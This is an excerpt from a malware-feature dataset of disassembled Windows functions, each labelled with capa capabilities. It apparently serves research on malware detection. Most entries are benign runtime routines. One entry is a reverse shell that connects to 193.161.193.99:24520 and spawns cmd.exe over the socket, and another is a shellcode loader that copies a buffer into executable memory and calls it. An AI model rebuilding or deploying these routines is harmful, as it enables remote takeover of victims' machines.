joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001580
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov r8d, 0x10
lea rcx, [0x1400050b0]
call fcn.140001460
mov r8d, 0x20
lea rcx, [0x1400053c0]
call fcn.140001460
mov r8d, 0x10
lea rcx, [0x1400050a0]
call fcn.140001460
mov r8d, 0x20
lea rcx, [0x140005080]
call fcn.140001460
lea rcx, [0x1400050b0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140005080]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 0x2710
call rbx
lea rdx, [0x1400053c0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor ebx, ebx
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x28], ebx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov r8d, 0x300
call rdi
test rax, rax
jne 0x14000165d
lea ecx, [rbx + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x50], rbp
mov r8d, 0x300
lea rbp, [0x1400050c0]
mov qword [rsp + 0x58], rsi
mov rcx, rbp
call fcn.140001460
lea rcx, [0x1400050b0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x1400050a0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rsi, [section..text]
mov dword [rsp + 0x30], ebx
mov rdi, rax
lea r9, [rsp + 0x30]
mov rcx, rsi
mov edx, 0x300
mov r8d, 0x40
call rdi
mov rdx, rsi
lea rcx, str.Allocated_Memory:__p_n
call fcn.140001400
nop dword [rax + rax]
movzx eax, byte [rbx + rbp]
mov byte [rbx + rsi], al
mov byte [rbx + rbp], 0
inc rbx
cmp rbx, 0x300
jb 0x1400016d0
mov rbp, qword [rsp + 0x50]
lea r9, [rsp + 0x30]
mov edx, 0x300
mov r8d, 0x20
mov rcx, rsi
call rdi
call rsi
mov rsi, qword [rsp + 0x58]
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001740
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x140002000
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000204a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000204a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000204a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000204a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000204a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000204c
xor al, al
add rsp, 0x28
ret
Function at 0x140035eb0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x14005f738], rbx
je 0x140035efc
cmp rax, rbx
jne 0x140035eef
mov ebx, 1
mov esi, ebx
jmp 0x140035f01
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x140035ed4
mov ebx, 1
mov eax, dword [0x14005f740]
cmp eax, ebx
jne 0x140035f17
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x140035f7c
mov eax, dword [0x14005f740]
test eax, eax
jne 0x140035f76
mov dword [0x14005f740], ebx
lea r15, [0x140043888]
lea rdi, [0x140043870]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r15
jae 0x140035f68
test eax, eax
jne 0x140035f6c
cmp qword [rdi], 0
je 0x140035f5d
mov rax, qword [rdi]
mov rcx, qword [0x140043810]
call rcx
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x140035f3e
test eax, eax
je 0x140035f7c
mov eax, 0xff
jmp 0x140036058
mov dword [0x14005eac4], ebx
mov eax, dword [0x14005f740]
cmp eax, ebx
jne 0x140035fa3
lea rdx, [0x140043868]
lea rcx, [0x140043818]
call sub.msvcrt.dll__initterm
mov dword [0x14005f740], 2
test esi, esi
jne 0x140035fb0
xor eax, eax
xchg qword [0x14005f738], rax
cmp qword [0x14005f748], 0
je 0x140035fe4
lea rcx, [0x14005f748]
call fcn.1400362b0
test eax, eax
je 0x140035fe4
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x14005f748]
mov r9, qword [0x140043810]
call r9
mov r8, qword [0x14005ead8]
mov rdx, qword [0x14005ead0]
mov ecx, dword [0x14005eac8]
call fcn.1400013f8
mov dword [0x14005eac0], eax
cmp dword [0x14005eae0], 0
jne 0x140036014
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14005eac4], 0
jne 0x140036029
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14005eac0]
jmp 0x140036058
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call fcn.1401d1000
add rsp, 0x28
jmp 0x140035eb0

Function at 0x14003619c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1400361e8
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400361e0
cmp dword [rcx + 0x3c], edx
jl 0x1400361e0
cmp dword [rcx + 0x3c], 0x10000000
jae 0x1400361e0
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x1400361e8
mov rax, rdx
add rsp, 0x18
ret
Function at 0x140001540
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x80]
call dbg.__main
lea rdx, [0x140011040]
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [0x1400111d8], rax
lea rcx, str.193.161.193.99
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov ecx, dword [rax]
mov rax, qword [sym.imp.WS2_32.dll_inet_ntoa]
call rax
mov r8, rax
mov edx, 0x10
lea rcx, str.193.161.193.99
mov rax, qword [sym.imp.msvcrt.dll_strcpy_s]
call rax
mov word [0x1400111e0], 2
lea rcx, str.24520
call sym.atoi
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [0x1400111e2], ax
lea rcx, str.193.161.193.99
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [0x1400111e4], eax
mov rax, qword [0x1400111d8]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
lea rdx, [0x1400111e0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
mov r8d, 0x68
mov edx, 0
lea rcx, [0x140011200]
call sym.memset
mov dword [0x140011200], 0x68
mov dword [0x14001123c], 0x101
mov rax, qword [0x1400111d8]
mov qword [0x140011260], rax
mov rax, qword [0x140011260]
mov qword [0x140011258], rax
mov rax, qword [0x140011258]
mov qword [0x140011250], rax
movabs rax, 0x6578652e646d63
mov edx, 0
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
lea rdx, [rbp - 0x20]
mov eax, 0
mov ecx, 0x1d
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov word [rdx], ax
add rdx, 2
mov byte [rdx], al
add rdx, 1
lea rax, [rbp - 0x30]
lea rdx, [0x140011270]
mov qword [rsp + 0x48], rdx
lea rdx, [0x140011200]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov eax, 0
add rsp, 0x168
pop rdi
pop rbp
ret

Function at 0x140001a80
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x140003988
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400039d2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400039d2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400039d2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400039d2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400039d2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400039d4
xor al, al
add rsp, 0x28
ret

Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62
Function at 0x1400011d1
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
jmp 0x140013630
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x270
jne 0x140013653
mov rcx, qword [rsp + 0x40]
call fcn.140001235
jmp 0x14001366a
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x4e0
jb 0x14001366a
mov rcx, qword [rsp + 0x40]
call fcn.14000163b
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
inc eax
mov rcx, qword [rsp + 0x40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0xb
mov rcx, qword [rsp + 0x40]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0x12
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x30
pop rdi
ret

Function at 0x140001235
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
jmp 0x140004a20
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x10
mov qword [rsp], 0x270
jmp 0x140004a3f
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0x4e0
jae 0x140004ac1
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp]
mov eax, dword [rax + rcx*4 - 0x9bc]
and eax, 0x80000000
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp]
mov ecx, dword [rcx + rdx*4 - 0x9b8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 8], eax
mov eax, dword [rsp + 8]
and eax, 1
test eax, eax
je 0x140004a8d
mov dword [rsp + 0xc], 0x9908b0df
jmp 0x140004a95
mov dword [rsp + 0xc], 0
mov eax, dword [rsp + 8]
shr eax, 1
xor eax, dword [rsp + 0xc]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x140004a34
add rsp, 0x10
pop rdi
ret
Function at 0x1400013ed
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x1400181d0
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x28], 0
jmp 0x140018208
mov eax, dword [rsp + 0x28]
inc eax
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x28], eax
jae 0x1400182ce
mov eax, dword [rsp + 0x20]
inc eax
xor edx, edx
mov ecx, 0x100
div ecx
mov eax, edx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
movzx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0x24]
add ecx, eax
mov eax, ecx
xor edx, edx
mov ecx, 0x100
div ecx
mov eax, edx
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
mov rdx, rax
call fcn.140001c76
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
movzx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0x24]
mov rdx, qword [rsp + 0x40]
movzx ecx, byte [rdx + rcx]
add eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
cdqe
mov rcx, qword [rsp + 0x40]
movzx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0x28]
mov rdx, qword [rsp + 0x48]
movzx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x28]
mov rdx, qword [rsp + 0x48]
mov byte [rdx + rcx], al
jmp 0x1400181fe
add rsp, 0x30
pop rdi
ret

Function at 0x140001587
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
jmp 0x1400131f0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x20
mov r9d, 0x6c078965
mov r8d, 0xffffffff
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.14000134d
mov rax, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1400015a0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
jmp 0x140017e50
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x90
lea rdi, [rsp + 0x40]
mov ecx, 0x14
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0xa0]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x64], 0
mov qword [rsp + 0x78], 0
movzx eax, word [rsp + 0xa0]
mov r8d, 0xa
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140017eea
lea rcx, str._error__FindResource_n
call fcn.1400015f5
call fcn.1400011a4
xor eax, eax
jmp 0x140018037
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140017f1c
lea rcx, str._error__LoadResource_n
call fcn.1400015f5
call fcn.1400011a4
xor eax, eax
jmp 0x140018037
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x140017f4c
lea rcx, str._error__LockResource_n
call fcn.1400015f5
call fcn.1400011a4
xor eax, eax
jmp 0x140018037
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0
jne 0x140017f7c
lea rcx, str._error__SizeOfResource_n
call fcn.1400015f5
call fcn.1400011a4
xor eax, eax
jmp 0x140018037
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0xffffffffffffffff
jne 0x140017fd3
lea rcx, str._error__WriteResourceToDisk.CreateFile_n
call fcn.1400015f5
call fcn.1400011a4
mov eax, 0xffffffff
jmp 0x140018037
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x64]
mov r8d, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0
jne 0x14001801c
lea rcx, str._error__WriteResourceToDisk.WriteFile_n
call fcn.1400015f5
call fcn.1400011a4
xor eax, eax
jmp 0x140018037
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, 1
mov rdi, rax
mov rcx, rsp
lea rdx, [0x14002a460]
call fcn.140001a3c
mov rax, rdi
add rsp, 0x90
pop rdi
ret
Function at 0x14000163b
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
jmp 0x14000b3b0
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x50
mov qword [rsp], 0x26f
mov qword [rsp + 8], 0xe3
mov qword [rsp + 0x10], 0
jmp 0x14000b3e3
mov rax, qword [rsp + 0x10]
inc rax
mov qword [rsp + 0x10], rax
cmp qword [rsp + 0x10], 0xe3
jae 0x14000b46a
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x10]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x10]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x18], eax
mov eax, dword [rsp + 0x18]
and eax, 1
test eax, eax
je 0x14000b434
mov dword [rsp + 0x3c], 0x9908b0df
jmp 0x14000b43c
mov dword [rsp + 0x3c], 0
mov eax, dword [rsp + 0x18]
shr eax, 1
xor eax, dword [rsp + 0x3c]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x10]
xor eax, dword [rcx + rdx*4 + 0xff8]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x10]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14000b3d6
mov qword [rsp + 0x20], 0xe3
jmp 0x14000b482
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0x26f
jae 0x14000b509
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x20]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x20]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x28]
and eax, 1
test eax, eax
je 0x14000b4d3
mov dword [rsp + 0x40], 0x9908b0df
jmp 0x14000b4db
mov dword [rsp + 0x40], 0
mov eax, dword [rsp + 0x28]
shr eax, 1
xor eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x20]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x20]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14000b475
mov qword [rsp + 0x30], 0x26f
mov eax, 4
imul rax, rax, 0x4df
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax + 4]
and eax, 0x80000000
mov ecx, 4
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x60]
mov ecx, dword [rdx + rcx + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
and eax, 1
test eax, eax
je 0x14000b55d
mov dword [rsp + 0x44], 0x9908b0df
jmp 0x14000b565
mov dword [rsp + 0x44], 0
mov eax, dword [rsp + 0x38]
shr eax, 1
xor eax, dword [rsp + 0x44]
mov ecx, 4
imul rcx, rcx, 0x18c
mov rdx, qword [rsp + 0x60]
xor eax, dword [rdx + rcx + 4]
mov ecx, 4
imul rcx, rcx, 0x26f
mov rdx, qword [rsp + 0x60]
mov dword [rdx + rcx + 4], eax
mov rax, qword [rsp + 0x60]
mov dword [rax], 0
add rsp, 0x50
pop rdi
ret

Function at 0x1400016e5
Capabilities:
Terminate process

Disassembly:
jmp 0x14001a380
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140001708
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x140014d10
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x70
mov qword [rsp + 0x20], 0
cmp qword [rsp + 0x80], 0
jne 0x140014d3a
xor eax, eax
jmp 0x140014e67
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x38]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x50], 0
jmp 0x140014dbb
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x50], eax
jae 0x140014e62
movsxd rax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x88]
call fcn.1400014fb
movzx eax, al
test eax, eax
je 0x140014e5d
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x50]
movzx eax, word [rax + rcx*2]
mov word [rsp + 0x60], ax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
movzx ecx, word [rsp + 0x60]
mov eax, dword [rax + rcx*4]
mov dword [rsp + 0x64], eax
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x64]
call fcn.14000149c
mov qword [rsp + 0x20], rax
jmp 0x140014e62
jmp 0x140014db1
mov rax, qword [rsp + 0x20]
add rsp, 0x70
pop rdi
ret
Function at 0x140001893
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001b060
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001b080
xor al, al
jmp 0x14001b101
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001b093
xor al, al
jmp 0x14001b101
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001b0bd
xor al, al
jmp 0x14001b101
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001b0d1
xor al, al
jmp 0x14001b101
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001b0e3
xor al, al
jmp 0x14001b101
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001b0ff
xor al, al
jmp 0x14001b101
mov al, 1
add rsp, 0x38
ret
Function at 0x140004130
Capabilities:
Encode data using base64 via winapi

Disassembly:
jmp 0x140004130
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xe0
lea rdi, [rsp + 0x30]
mov ecx, 0x2c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xf0]
mov dword [rsp + 0xa4], 0
mov dword [rsp + 0x34], 0
mov rcx, qword [rsp + 0xf8]
call fcn.140001550
mov dword [rsp + 0xa8], eax
mov rcx, qword [rsp + 0xf8]
call fcn.140001019
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0x34]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x40000001
mov edx, dword [rsp + 0xa8]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov eax, dword [rsp + 0x34]
xor r8d, r8d
mov edx, eax
mov rcx, qword [rsp + 0xf0]
call fcn.1400014bf
mov qword [rsp + 0xb8], rax
mov eax, dword [rsp + 0xa4]
or eax, 1
mov dword [rsp + 0xa4], eax
xor edx, edx
mov rcx, qword [rsp + 0xf0]
call fcn.140001127
mov qword [rsp + 0xc0], rax
mov rcx, qword [rsp + 0xf8]
call fcn.140001550
mov dword [rsp + 0xc8], eax
mov rcx, qword [rsp + 0xf8]
call fcn.140001019
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0x34]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xc0]
mov r8d, 0x40000001
mov edx, dword [rsp + 0xc8]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
mov rax, qword [rsp + 0xf0]
mov rdi, rax
mov rcx, rsp
lea rdx, [0x1400240c0]
call fcn.140001a3c
mov rax, rdi
add rsp, 0xe0
pop rdi
ret
Function at 0x140004a20
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
jmp 0x140004a20
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x10
mov qword [rsp], 0x270
jmp 0x140004a3f
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0x4e0
